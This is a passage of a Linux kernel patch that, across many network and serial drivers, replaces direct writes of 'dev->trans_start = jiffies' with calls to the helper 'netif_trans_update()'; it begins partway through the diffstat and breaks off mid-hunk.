 drivers/net/wireless/intersil/orinoco/orinoco_usb.c    | 2 +-
 drivers/net/wireless/marvell/mwifiex/init.c            | 2 +-
 drivers/net/wireless/wl3501_cs.c                       | 2 +-
 drivers/net/wireless/zydas/zd1201.c                    | 2 +-
 drivers/s390/net/ctcm_main.c                           | 6 +++---
 drivers/s390/net/ctcm_mpc.c                            | 2 +-
 drivers/s390/net/netiucv.c                             | 2 +-
 drivers/staging/rtl8192e/rtl8192e/rtl_core.c           | 2 +-
 drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c | 6 +++---
 drivers/staging/rtl8192u/r8192U_core.c                 | 4 ++--
 drivers/staging/wlan-ng/p80211netdev.c                 | 2 +-
 drivers/tty/n_gsm.c                                    | 2 +-
 drivers/tty/synclink.c                                 | 4 ++--
 drivers/tty/synclink_gt.c                              | 4 ++--
 drivers/tty/synclinkmp.c                               | 4 ++--
 drivers/usb/gadget/function/u_ether.c                  | 2 +-
 net/atm/lec.c                                          | 4 ++--
 net/batman-adv/soft-interface.c                        | 2 +-
 net/bluetooth/bnep/netdev.c                            | 2 +-
 net/irda/irlan/irlan_eth.c                             | 2 +-
 net/sched/sch_generic.c                                | 2 +-
 156 files changed, 232 insertions(+), 232 deletions(-)

diff --git a/arch/um/drivers/net_kern.c b/arch/um/drivers/net_kern.c
index 9ef669d..2cd5b68 100644
--- a/arch/um/drivers/net_kern.c
+++ b/arch/um/drivers/net_kern.c
@@ -223,7 +223,7 @@ static int uml_net_start_xmit(struct sk_buff *skb, struct net_device *dev)
 	if (len == skb->len) {
 		dev->stats.tx_packets++;
 		dev->stats.tx_bytes += skb->len;
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 		netif_start_queue(dev);
 
 		/* this is normally done in the interrupt when tx finishes */
@@ -252,7 +252,7 @@ static void uml_net_set_multicast_list(struct net_device *dev)
 
 static void uml_net_tx_timeout(struct net_device *dev)
 {
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	netif_wake_queue(dev);
 }
 
diff --git a/arch/xtensa/platforms/iss/network.c b/arch/xtensa/platforms/iss/network.c
index 976a385..66a5d15 100644
--- a/arch/xtensa/platforms/iss/network.c
+++ b/arch/xtensa/platforms/iss/network.c
@@ -428,7 +428,7 @@ static int iss_net_start_xmit(struct sk_buff *skb, struct net_device *dev)
 	if (len == skb->len) {
 		lp->stats.tx_packets++;
 		lp->stats.tx_bytes += skb->len;
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 		netif_start_queue(dev);
 
 		/* this is normally done in the interrupt when tx finishes */
diff --git a/drivers/char/pcmcia/synclink_cs.c b/drivers/char/pcmcia/synclink_cs.c
index 22c2765..e524e83 100644
--- a/drivers/char/pcmcia/synclink_cs.c
+++ b/drivers/char/pcmcia/synclink_cs.c
@@ -3969,7 +3969,7 @@ static netdev_tx_t hdlcdev_xmit(struct sk_buff *skb,
 	dev_kfree_skb(skb);
 
 	/* save start time for transmit timeout detection */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	/* start hardware transmitter if necessary */
 	spin_lock_irqsave(&info->lock, flags);
@@ -4032,7 +4032,7 @@ static int hdlcdev_open(struct net_device *dev)
 	tty_kref_put(tty);
 
 	/* enable network layer transmit */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	netif_start_queue(dev);
 
 	/* inform generic HDLC layer of current DCD status */
diff --git a/drivers/firewire/net.c b/drivers/firewire/net.c
index f4ea80d..309311b 100644
--- a/drivers/firewire/net.c
+++ b/drivers/firewire/net.c
@@ -1023,7 +1023,7 @@ static int fwnet_send_packet(struct fwnet_packet_task *ptask)
 
 	spin_unlock_irqrestore(&dev->lock, flags);
 
-	dev->netdev->trans_start = jiffies;
+	netif_trans_update(dev->netdev);
  out:
 	if (free)
 		fwnet_free_ptask(ptask);
diff --git a/drivers/infiniband/hw/nes/nes_nic.c b/drivers/infiniband/hw/nes/nes_nic.c
index 99cef26..ea2f0d7 100644
--- a/drivers/infiniband/hw/nes/nes_nic.c
+++ b/drivers/infiniband/hw/nes/nes_nic.c
@@ -685,7 +685,7 @@ tso_sq_no_longer_full:
 		nes_write32(nesdev->regs+NES_WQE_ALLOC,
 				(wqe_count << 24) | (1 << 23) | nesvnic->nic.qp_id);
 
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 
 	return NETDEV_TX_OK;
 }
diff --git a/drivers/infiniband/ulp/ipoib/ipoib_cm.c b/drivers/infiniband/ulp/ipoib/ipoib_cm.c
index c8ed535..b2f4283 100644
--- a/drivers/infiniband/ulp/ipoib/ipoib_cm.c
+++ b/drivers/infiniband/ulp/ipoib/ipoib_cm.c
@@ -766,7 +766,7 @@ void ipoib_cm_send(struct net_device *dev, struct sk_buff *skb, struct ipoib_cm_
 		ipoib_dma_unmap_tx(priv, tx_req);
 		dev_kfree_skb_any(skb);
 	} else {
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 		++tx->tx_head;
 
 		if (++priv->tx_outstanding == ipoib_sendq_size) {
diff --git a/drivers/infiniband/ulp/ipoib/ipoib_ib.c b/drivers/infiniband/ulp/ipoib/ipoib_ib.c
index f0e55e4..3643d55 100644
--- a/drivers/infiniband/ulp/ipoib/ipoib_ib.c
+++ b/drivers/infiniband/ulp/ipoib/ipoib_ib.c
@@ -637,7 +637,7 @@ void ipoib_send(struct net_device *dev, struct sk_buff *skb,
 		if (netif_queue_stopped(dev))
 			netif_wake_queue(dev);
 	} else {
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 
 		address->last_send = priv->tx_head;
 		++priv->tx_head;
diff --git a/drivers/isdn/hysdn/hysdn_net.c b/drivers/isdn/hysdn/hysdn_net.c
index a0efb4c..5609dee 100644
--- a/drivers/isdn/hysdn/hysdn_net.c
+++ b/drivers/isdn/hysdn/hysdn_net.c
@@ -127,7 +127,7 @@ net_send_packet(struct sk_buff *skb, struct net_device *dev)
 	if (lp->in_idx >= MAX_SKB_BUFFERS)
 		lp->in_idx = 0;	/* wrap around */
 	lp->sk_count++;		/* adjust counter */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	/* If we just used up the very last entry in the
 	 * TX ring on this device, tell the queueing
diff --git a/drivers/isdn/i4l/isdn_net.c b/drivers/isdn/i4l/isdn_net.c
index aa5dd56..c151c6d 100644
--- a/drivers/isdn/i4l/isdn_net.c
+++ b/drivers/isdn/i4l/isdn_net.c
@@ -1153,7 +1153,7 @@ static void isdn_net_tx_timeout(struct net_device *ndev)
 		 * ever called   --KG
 		 */
 	}
-	ndev->trans_start = jiffies;
+	netif_trans_update(ndev);
 	netif_wake_queue(ndev);
 }
 
@@ -1291,7 +1291,7 @@ isdn_net_start_xmit(struct sk_buff *skb, struct net_device *ndev)
 			}
 		} else {
 			/* Device is connected to an ISDN channel */
-			ndev->trans_start = jiffies;
+			netif_trans_update(ndev);
 			if (!lp->dialstate) {
 				/* ISDN connection is established, try sending */
 				int ret;
diff --git a/drivers/isdn/i4l/isdn_x25iface.c b/drivers/isdn/i4l/isdn_x25iface.c
index e2d4e58..0c5d8de 100644
--- a/drivers/isdn/i4l/isdn_x25iface.c
+++ b/drivers/isdn/i4l/isdn_x25iface.c
@@ -278,7 +278,7 @@ static int isdn_x25iface_xmit(struct concap_proto *cprot, struct sk_buff *skb)
 	case X25_IFACE_DATA:
 		if (*state == WAN_CONNECTED) {
 			skb_pull(skb, 1);
-			cprot->net_dev->trans_start = jiffies;
+			netif_trans_update(cprot->net_dev);
 			ret = (cprot->dops->data_req(cprot, skb));
 			/* prepare for future retransmissions */
 			if (ret) skb_push(skb, 1);
diff --git a/drivers/message/fusion/mptlan.c b/drivers/message/fusion/mptlan.c
index cbe9607..6955c9e 100644
--- a/drivers/message/fusion/mptlan.c
+++ b/drivers/message/fusion/mptlan.c
@@ -791,7 +791,7 @@ mpt_lan_sdu_send (struct sk_buff *skb, struct net_device *dev)
 		pSimple->Address.High = 0;
 
 	mpt_put_msg_frame (LanCtx, mpt_dev, mf);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	dioprintk((KERN_INFO MYNAM ": %s/%s: Sending packet. FlagsLength = %08x.\n",
 			IOC_AND_NETDEV_NAMES_s_s(dev),
diff --git a/drivers/net/appletalk/cops.c b/drivers/net/appletalk/cops.c
index 7f2a032..1b2e921 100644
--- a/drivers/net/appletalk/cops.c
+++ b/drivers/net/appletalk/cops.c
@@ -861,7 +861,7 @@ static void cops_timeout(struct net_device *dev)
 	}
 	printk(KERN_WARNING "%s: Transmit timed out.\n", dev->name);
 	cops_jumpstart(dev);	/* Restart the card. */
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/can/mscan/mscan.c b/drivers/net/can/mscan/mscan.c
index e36b740..acb708f 100644
--- a/drivers/net/can/mscan/mscan.c
+++ b/drivers/net/can/mscan/mscan.c
@@ -276,7 +276,7 @@ static netdev_tx_t mscan_start_xmit(struct sk_buff *skb, struct net_device *dev)
 	out_8(&regs->cantflg, 1 << buf_id);
 
 	if (!test_bit(F_TX_PROGRESS, &priv->flags))
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 
 	list_add_tail(&priv->tx_queue[buf_id].list, &priv->tx_head);
 
@@ -469,7 +469,7 @@ static irqreturn_t mscan_isr(int irq, void *dev_id)
 			clear_bit(F_TX_PROGRESS, &priv->flags);
 			priv->cur_pri = 0;
 		} else {
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 		}
 
 		if (!test_bit(F_TX_WAIT_ALL, &priv->flags))
diff --git a/drivers/net/can/usb/ems_usb.c b/drivers/net/can/usb/ems_usb.c
index 3400fd1..71f0e79 100644
--- a/drivers/net/can/usb/ems_usb.c
+++ b/drivers/net/can/usb/ems_usb.c
@@ -521,7 +521,7 @@ static void ems_usb_write_bulk_callback(struct urb *urb)
 	if (urb->status)
 		netdev_info(netdev, "Tx URB aborted (%d)\n", urb->status);
 
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 
 	/* transmission complete interrupt */
 	netdev->stats.tx_packets++;
@@ -835,7 +835,7 @@ static netdev_tx_t ems_usb_start_xmit(struct sk_buff *skb, struct net_device *ne
 			stats->tx_dropped++;
 		}
 	} else {
-		netdev->trans_start = jiffies;
+		netif_trans_update(netdev);
 
 		/* Slow down tx path */
 		if (atomic_read(&dev->active_tx_urbs) >= MAX_TX_URBS ||
diff --git a/drivers/net/can/usb/esd_usb2.c b/drivers/net/can/usb/esd_usb2.c
index 113e64f..784a900 100644
--- a/drivers/net/can/usb/esd_usb2.c
+++ b/drivers/net/can/usb/esd_usb2.c
@@ -480,7 +480,7 @@ static void esd_usb2_write_bulk_callback(struct urb *urb)
 	if (urb->status)
 		netdev_info(netdev, "Tx URB aborted (%d)\n", urb->status);
 
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 }
 
 static ssize_t show_firmware(struct device *d,
@@ -820,7 +820,7 @@ static netdev_tx_t esd_usb2_start_xmit(struct sk_buff *skb,
 		goto releasebuf;
 	}
 
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 
 	/*
 	 * Release our reference to this URB, the USB core will eventually free
diff --git a/drivers/net/can/usb/peak_usb/pcan_usb_core.c b/drivers/net/can/usb/peak_usb/pcan_usb_core.c
index 5a2e341..bfb91d8 100644
--- a/drivers/net/can/usb/peak_usb/pcan_usb_core.c
+++ b/drivers/net/can/usb/peak_usb/pcan_usb_core.c
@@ -274,7 +274,7 @@ static void peak_usb_write_bulk_callback(struct urb *urb)
 		netdev->stats.tx_bytes += context->data_len;
 
 		/* prevent tx timeout */
-		netdev->trans_start = jiffies;
+		netif_trans_update(netdev);
 		break;
 
 	default:
@@ -373,7 +373,7 @@ static netdev_tx_t peak_usb_ndo_start_xmit(struct sk_buff *skb,
 			stats->tx_dropped++;
 		}
 	} else {
-		netdev->trans_start = jiffies;
+		netif_trans_update(netdev);
 
 		/* slow down tx path */
 		if (atomic_read(&dev->active_tx_urbs) >= PCAN_USB_MAX_TX_URBS)
diff --git a/drivers/net/cris/eth_v10.c b/drivers/net/cris/eth_v10.c
index 64c016a..221f5f0 100644
--- a/drivers/net/cris/eth_v10.c
+++ b/drivers/net/cris/eth_v10.c
@@ -1106,7 +1106,7 @@ e100_send_packet(struct sk_buff *skb, struct net_device *dev)
 
 	myNextTxDesc->skb = skb;
 
-	dev->trans_start = jiffies; /* NETIF_F_LLTX driver :( */
+	netif_trans_update(dev); /* NETIF_F_LLTX driver :( */
 
 	e100_hardware_send_packet(np, buf, skb->len);
 
diff --git a/drivers/net/ethernet/3com/3c509.c b/drivers/net/ethernet/3com/3c509.c
index 7677c74..91ada52 100644
--- a/drivers/net/ethernet/3com/3c509.c
+++ b/drivers/net/ethernet/3com/3c509.c
@@ -699,7 +699,7 @@ el3_tx_timeout (struct net_device *dev)
 		dev->name, inb(ioaddr + TX_STATUS), inw(ioaddr + EL3_STATUS),
 		inw(ioaddr + TX_FREE));
 	dev->stats.tx_errors++;
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	/* Issue TX_RESET and TX_START commands. */
 	outw(TxReset, ioaddr + EL3_CMD);
 	outw(TxEnable, ioaddr + EL3_CMD);
diff --git a/drivers/net/ethernet/3com/3c515.c b/drivers/net/ethernet/3com/3c515.c
index 942fb0d..b26e038 100644
--- a/drivers/net/ethernet/3com/3c515.c
+++ b/drivers/net/ethernet/3com/3c515.c
@@ -992,7 +992,7 @@ static void corkscrew_timeout(struct net_device *dev)
 		if (!(inw(ioaddr + EL3_STATUS) & CmdInProgress))
 			break;
 	outw(TxEnable, ioaddr + EL3_CMD);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	dev->stats.tx_errors++;
 	dev->stats.tx_dropped++;
 	netif_wake_queue(dev);
diff --git a/drivers/net/ethernet/3com/3c574_cs.c b/drivers/net/ethernet/3com/3c574_cs.c
index b9948f0..b88afd7 100644
--- a/drivers/net/ethernet/3com/3c574_cs.c
+++ b/drivers/net/ethernet/3com/3c574_cs.c
@@ -700,7 +700,7 @@ static void el3_tx_timeout(struct net_device *dev)
 	netdev_notice(dev, "Transmit timed out!\n");
 	dump_status(dev);
 	dev->stats.tx_errors++;
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	/* Issue TX_RESET and TX_START commands. */
 	tc574_wait_for_completion(dev, TxReset);
 	outw(TxEnable, ioaddr + EL3_CMD);
diff --git a/drivers/net/ethernet/3com/3c589_cs.c b/drivers/net/ethernet/3com/3c589_cs.c
index c5a3205..71396e4 100644
--- a/drivers/net/ethernet/3com/3c589_cs.c
+++ b/drivers/net/ethernet/3com/3c589_cs.c
@@ -534,7 +534,7 @@ static void el3_tx_timeout(struct net_device *dev)
 	netdev_warn(dev, "Transmit timed out!\n");
 	dump_status(dev);
 	dev->stats.tx_errors++;
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	/* Issue TX_RESET and TX_START commands. */
 	tc589_wait_for_completion(dev, TxReset);
 	outw(TxEnable, ioaddr + EL3_CMD);
diff --git a/drivers/net/ethernet/3com/3c59x.c b/drivers/net/ethernet/3com/3c59x.c
index d81fced..25c55ab 100644
--- a/drivers/net/ethernet/3com/3c59x.c
+++ b/drivers/net/ethernet/3com/3c59x.c
@@ -1944,7 +1944,7 @@ static void vortex_tx_timeout(struct net_device *dev)
 	}
 	/* Issue Tx Enable */
 	iowrite16(TxEnable, ioaddr + EL3_CMD);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 }
 
 /*
diff --git a/drivers/net/ethernet/8390/axnet_cs.c b/drivers/net/ethernet/8390/axnet_cs.c
index ec6eac1..4ea717d 100644
--- a/drivers/net/ethernet/8390/axnet_cs.c
+++ b/drivers/net/ethernet/8390/axnet_cs.c
@@ -1041,7 +1041,7 @@ static netdev_tx_t axnet_start_xmit(struct sk_buff *skb,
 	{
 		ei_local->txing = 1;
 		NS8390_trigger_send(dev, send_length, output_page);
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 		if (output_page == ei_local->tx_start_page) 
 		{
 			ei_local->tx1 = -1;
@@ -1270,7 +1270,7 @@ static void ei_tx_intr(struct net_device *dev)
 		{
 			ei_local->txing = 1;
 			NS8390_trigger_send(dev, ei_local->tx2, ei_local->tx_start_page + 6);
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			ei_local->tx2 = -1,
 			ei_local->lasttx = 2;
 		}
@@ -1287,7 +1287,7 @@ static void ei_tx_intr(struct net_device *dev)
 		{
 			ei_local->txing = 1;
 			NS8390_trigger_send(dev, ei_local->tx1, ei_local->tx_start_page);
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			ei_local->tx1 = -1;
 			ei_local->lasttx = 1;
 		}
diff --git a/drivers/net/ethernet/8390/lib8390.c b/drivers/net/ethernet/8390/lib8390.c
index b96e885..60f8e2c 100644
--- a/drivers/net/ethernet/8390/lib8390.c
+++ b/drivers/net/ethernet/8390/lib8390.c
@@ -596,7 +596,7 @@ static void ei_tx_intr(struct net_device *dev)
 		if (ei_local->tx2 > 0) {
 			ei_local->txing = 1;
 			NS8390_trigger_send(dev, ei_local->tx2, ei_local->tx_start_page + 6);
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			ei_local->tx2 = -1,
 			ei_local->lasttx = 2;
 		} else
@@ -609,7 +609,7 @@ static void ei_tx_intr(struct net_device *dev)
 		if (ei_local->tx1 > 0) {
 			ei_local->txing = 1;
 			NS8390_trigger_send(dev, ei_local->tx1, ei_local->tx_start_page);
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			ei_local->tx1 = -1;
 			ei_local->lasttx = 1;
 		} else
diff --git a/drivers/net/ethernet/adaptec/starfire.c b/drivers/net/ethernet/adaptec/starfire.c
index ac72882..1d10696 100644
--- a/drivers/net/ethernet/adaptec/starfire.c
+++ b/drivers/net/ethernet/adaptec/starfire.c
@@ -1129,7 +1129,7 @@ static void tx_timeout(struct net_device *dev)
 
 	/* Trigger an immediate transmit demand. */
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	dev->stats.tx_errors++;
 	netif_wake_queue(dev);
 }
diff --git a/drivers/net/ethernet/adi/bfin_mac.c b/drivers/net/ethernet/adi/bfin_mac.c
index 74139cb..3d2245f 100644
--- a/drivers/net/ethernet/adi/bfin_mac.c
+++ b/drivers/net/ethernet/adi/bfin_mac.c
@@ -1430,7 +1430,7 @@ static void bfin_mac_timeout(struct net_device *dev)
 	bfin_mac_enable(lp->phydev);
 
 	/* We can accept TX packets again */
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 }
 
 static void bfin_mac_multicast_hash(struct net_device *dev)
diff --git a/drivers/net/ethernet/agere/et131x.c b/drivers/net/ethernet/agere/et131x.c
index 0907ab6..30defe6 100644
--- a/drivers/net/ethernet/agere/et131x.c
+++ b/drivers/net/ethernet/agere/et131x.c
@@ -3349,7 +3349,7 @@ static void et131x_down(struct net_device *netdev)
 	struct et131x_adapter *adapter = netdev_priv(netdev);
 
 	/* Save the timestamp for the TX watchdog, prevent a timeout */
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 
 	phy_stop(adapter->phydev);
 	et131x_disable_txrx(netdev);
@@ -3816,7 +3816,7 @@ static netdev_tx_t et131x_tx(struct sk_buff *skb, struct net_device *netdev)
 		netif_stop_queue(netdev);
 
 	/* Save the timestamp for the TX timeout watchdog */
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 
 	/* TCB is not available */
 	if (tx_ring->used >= NUM_TCB)
diff --git a/drivers/net/ethernet/allwinner/sun4i-emac.c b/drivers/net/ethernet/allwinner/sun4i-emac.c
index 8d50314..de2c4bf 100644
--- a/drivers/net/ethernet/allwinner/sun4i-emac.c
+++ b/drivers/net/ethernet/allwinner/sun4i-emac.c
@@ -428,7 +428,7 @@ static void emac_timeout(struct net_device *dev)
 	emac_reset(db);
 	emac_init_device(dev);
 	/* We can accept TX packets again */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	netif_wake_queue(dev);
 
 	/* Restore previous register address */
@@ -468,7 +468,7 @@ static int emac_start_xmit(struct sk_buff *skb, struct net_device *dev)
 		       db->membase + EMAC_TX_CTL0_REG);
 
 		/* save the time stamp */
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 	} else if (channel == 1) {
 		/* set TX len */
 		writel(skb->len, db->membase + EMAC_TX_PL1_REG);
@@ -477,7 +477,7 @@ static int emac_start_xmit(struct sk_buff *skb, struct net_device *dev)
 		       db->membase + EMAC_TX_CTL1_REG);
 
 		/* save the time stamp */
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 	}
 
 	if ((db->tx_fifo_stat & 3) == 3) {
diff --git a/drivers/net/ethernet/amd/7990.c b/drivers/net/ethernet/amd/7990.c
index 8e75755..dcf2a1f 100644
--- a/drivers/net/ethernet/amd/7990.c
+++ b/drivers/net/ethernet/amd/7990.c
@@ -260,7 +260,7 @@ static int lance_reset(struct net_device *dev)
 
 	load_csrs(lp);
 	lance_init_ring(dev);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	status = init_restart_lance(lp);
 #ifdef DEBUG_DRIVER
 	printk("Lance restart=%d\n", status);
@@ -530,7 +530,7 @@ void lance_tx_timeout(struct net_device *dev)
 {
 	printk("lance_tx_timeout\n");
 	lance_reset(dev);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 }
 EXPORT_SYMBOL_GPL(lance_tx_timeout);
diff --git a/drivers/net/ethernet/amd/a2065.c b/drivers/net/ethernet/amd/a2065.c
index 2a18d34..a83cd1c 100644
--- a/drivers/net/ethernet/amd/a2065.c
+++ b/drivers/net/ethernet/amd/a2065.c
@@ -512,7 +512,7 @@ static inline int lance_reset(struct net_device *dev)
 	load_csrs(lp);
 
 	lance_init_ring(dev);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_start_queue(dev);
 
 	status = init_restart_lance(lp);
diff --git a/drivers/net/ethernet/amd/atarilance.c b/drivers/net/ethernet/amd/atarilance.c
index b10964e..d2bc8e5 100644
--- a/drivers/net/ethernet/amd/atarilance.c
+++ b/drivers/net/ethernet/amd/atarilance.c
@@ -764,7 +764,7 @@ static void lance_tx_timeout (struct net_device *dev)
 	/* lance_restart, essentially */
 	lance_init_ring(dev);
 	REGA( CSR0 ) = CSR0_INEA | CSR0_INIT | CSR0_STRT;
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/ethernet/amd/au1000_eth.c b/drivers/net/ethernet/amd/au1000_eth.c
index d3977d0..9af309e 100644
--- a/drivers/net/ethernet/amd/au1000_eth.c
+++ b/drivers/net/ethernet/amd/au1000_eth.c
@@ -1074,7 +1074,7 @@ static void au1000_tx_timeout(struct net_device *dev)
 	netdev_err(dev, "au1000_tx_timeout: dev=%p\n", dev);
 	au1000_reset_mac(dev);
 	au1000_init(dev);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/ethernet/amd/declance.c b/drivers/net/ethernet/amd/declance.c
index b584b78..b799c7a 100644
--- a/drivers/net/ethernet/amd/declance.c
+++ b/drivers/net/ethernet/amd/declance.c
@@ -877,7 +877,7 @@ static inline int lance_reset(struct net_device *dev)
 
 	lance_init_ring(dev);
 	load_csrs(lp);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	status = init_restart_lance(lp);
 	return status;
 }
diff --git a/drivers/net/ethernet/amd/lance.c b/drivers/net/ethernet/amd/lance.c
index 3a7ebfd..abb1ba2 100644
--- a/drivers/net/ethernet/amd/lance.c
+++ b/drivers/net/ethernet/amd/lance.c
@@ -943,7 +943,7 @@ static void lance_tx_timeout (struct net_device *dev)
 #endif
 	lance_restart (dev, 0x0043, 1);
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue (dev);
 }
 
diff --git a/drivers/net/ethernet/amd/ni65.c b/drivers/net/ethernet/amd/ni65.c
index 1cf33ad..cda53db 100644
--- a/drivers/net/ethernet/amd/ni65.c
+++ b/drivers/net/ethernet/amd/ni65.c
@@ -782,7 +782,7 @@ static void ni65_stop_start(struct net_device *dev,struct priv *p)
 		if(!p->lock)
 			if (p->tmdnum || !p->xmit_queued)
 				netif_wake_queue(dev);
-		dev->trans_start = jiffies; /* prevent tx timeout */
+		netif_trans_update(dev); /* prevent tx timeout */
 	}
 	else
 		writedatareg(CSR0_STRT | csr0);
@@ -1148,7 +1148,7 @@ static void ni65_timeout(struct net_device *dev)
 		printk("%02x ",p->tmdhead[i].u.s.status);
 	printk("\n");
 	ni65_lance_reinit(dev);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/ethernet/amd/nmclan_cs.c b/drivers/net/ethernet/amd/nmclan_cs.c
index 27245ef..2807e18 100644
--- a/drivers/net/ethernet/amd/nmclan_cs.c
+++ b/drivers/net/ethernet/amd/nmclan_cs.c
@@ -851,7 +851,7 @@ static void mace_tx_timeout(struct net_device *dev)
 #else /* #if RESET_ON_TIMEOUT */
   pr_cont("NOT resetting card\n");
 #endif /* #if RESET_ON_TIMEOUT */
-  dev->trans_start = jiffies; /* prevent tx timeout */
+  netif_trans_update(dev); /* prevent tx timeout */
   netif_wake_queue(dev);
 }
 
diff --git a/drivers/net/ethernet/amd/pcnet32.c b/drivers/net/ethernet/amd/pcnet32.c
index 7ccebae..c22bf52 100644
--- a/drivers/net/ethernet/amd/pcnet32.c
+++ b/drivers/net/ethernet/amd/pcnet32.c
@@ -448,7 +448,7 @@ static void pcnet32_netif_stop(struct net_device *dev)
 {
 	struct pcnet32_private *lp = netdev_priv(dev);
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	napi_disable(&lp->napi);
 	netif_tx_disable(dev);
 }
@@ -2426,7 +2426,7 @@ static void pcnet32_tx_timeout(struct net_device *dev)
 	}
 	pcnet32_restart(dev, CSR0_NORMAL);
 
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	netif_wake_queue(dev);
 
 	spin_unlock_irqrestore(&lp->lock, flags);
diff --git a/drivers/net/ethernet/amd/sunlance.c b/drivers/net/ethernet/amd/sunlance.c
index 7847638..9b56b40 100644
--- a/drivers/net/ethernet/amd/sunlance.c
+++ b/drivers/net/ethernet/amd/sunlance.c
@@ -997,7 +997,7 @@ static int lance_reset(struct net_device *dev)
 	}
 	lp->init_ring(dev);
 	load_csrs(lp);
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 	status = init_restart_lance(lp);
 	return status;
 }
diff --git a/drivers/net/ethernet/atheros/alx/main.c b/drivers/net/ethernet/atheros/alx/main.c
index 55b118e..9fe8b5e 100644
--- a/drivers/net/ethernet/atheros/alx/main.c
+++ b/drivers/net/ethernet/atheros/alx/main.c
@@ -745,7 +745,7 @@ static netdev_features_t alx_fix_features(struct net_device *netdev,
 
 static void alx_netif_stop(struct alx_priv *alx)
 {
-	alx->dev->trans_start = jiffies;
+	netif_trans_update(alx->dev);
 	if (netif_carrier_ok(alx->dev)) {
 		netif_carrier_off(alx->dev);
 		netif_tx_disable(alx->dev);
diff --git a/drivers/net/ethernet/broadcom/bcmsysport.c b/drivers/net/ethernet/broadcom/bcmsysport.c
index 30b0c28..543bf38 100644
--- a/drivers/net/ethernet/broadcom/bcmsysport.c
+++ b/drivers/net/ethernet/broadcom/bcmsysport.c
@@ -1117,7 +1117,7 @@ static void bcm_sysport_tx_timeout(struct net_device *dev)
 {
 	netdev_warn(dev, "transmit timeout!\n");
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	dev->stats.tx_errors++;
 
 	netif_tx_wake_all_queues(dev);
diff --git a/drivers/net/ethernet/broadcom/genet/bcmgenet.c b/drivers/net/ethernet/broadcom/genet/bcmgenet.c
index fbff226..5414563 100644
--- a/drivers/net/ethernet/broadcom/genet/bcmgenet.c
+++ b/drivers/net/ethernet/broadcom/genet/bcmgenet.c
@@ -3059,7 +3059,7 @@ static void bcmgenet_timeout(struct net_device *dev)
 	bcmgenet_intrl2_0_writel(priv, int0_enable, INTRL2_CPU_MASK_CLEAR);
 	bcmgenet_intrl2_1_writel(priv, int1_enable, INTRL2_CPU_MASK_CLEAR);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	dev->stats.tx_errors++;
 
diff --git a/drivers/net/ethernet/broadcom/sb1250-mac.c b/drivers/net/ethernet/broadcom/sb1250-mac.c
index eacc559..f1b8118 100644
--- a/drivers/net/ethernet/broadcom/sb1250-mac.c
+++ b/drivers/net/ethernet/broadcom/sb1250-mac.c
@@ -2462,7 +2462,7 @@ static void sbmac_tx_timeout (struct net_device *dev)
